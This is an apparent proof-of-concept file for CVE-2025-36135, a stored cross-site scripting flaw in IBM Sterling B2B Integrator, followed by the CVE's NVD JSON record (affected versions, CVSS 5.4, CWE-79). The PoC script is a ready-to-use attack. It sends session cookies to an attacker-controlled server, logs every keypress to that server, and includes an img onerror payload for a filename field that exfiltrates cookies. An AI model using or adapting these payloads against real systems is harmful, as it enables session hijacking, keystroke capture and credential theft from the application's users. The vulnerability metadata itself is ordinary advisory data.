CVE-2025-36135

<!-- CVE-2025-36135 PoC - Stored XSS in IBM Sterling B2B Integrator --> <!-- This PoC demonstrates the XSS vulnerability in the Web UI --> <!-- Replace TARGET_URL with the actual IBM Sterling application URL --> <script> // Steal session cookies var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker-controlled-server.com/steal', true); xhr.send('cookies=' + encodeURIComponent(cookies)); // Alternatively, perform keylogging document.addEventListener('keypress', function(e) { var key = e.key; fetch('https://attacker-controlled-server.com/log?key=' + key); }); </script> <!-- Example attack payload for filename field --> <!-- <img src=x onerror='fetch("https://attacker.com/cookie?c="+document.cookie)'> -->

{"cve": {"id": "CVE-2025-36135", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:16:24.360", "lastModified": "2025-12-11T23:44:42.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling B2B Integrator 6.0.0.0 through 6.1.2.7_1, 6.2.0.0 through 6.2.0.5, and 6.2.1.0 and IBM Sterling File Gateway 6.0.0.0 through 6.1.2.7_1, 6.2.0.0 through 6.2.0.5, and 6.2.1.0 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0.0", "versionEndIncluding": "6.1.2.7_1", "matchCriteriaId": "D300C509-3FFB-42E6-99CE-DE485B22937B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0.0", "versionEndIncluding": "6.2.0.5", "matchCriteriaId": "CEFD946C-8912-44AC-8EDA-0EF71AD25331"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_b2b_integrator:6.2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5071FDDF-398F-4214-B8DD-93ED55F0808F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0.0", "versionEndIncluding": "6.1.2.7_1", "matchCriteriaId": "6E086428-80F4-4CA9-A5C5-BBB6A1FCD3BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0.0", "versionEndIncluding": "6.2.0.5", "matchCriteriaId": "584F24CE-3081-43EA-862D-5B33FCFB55C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_file_gateway:6.2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5074FA1-0FC6-486B-BCBE-A7BA6E9155D1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7250509", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}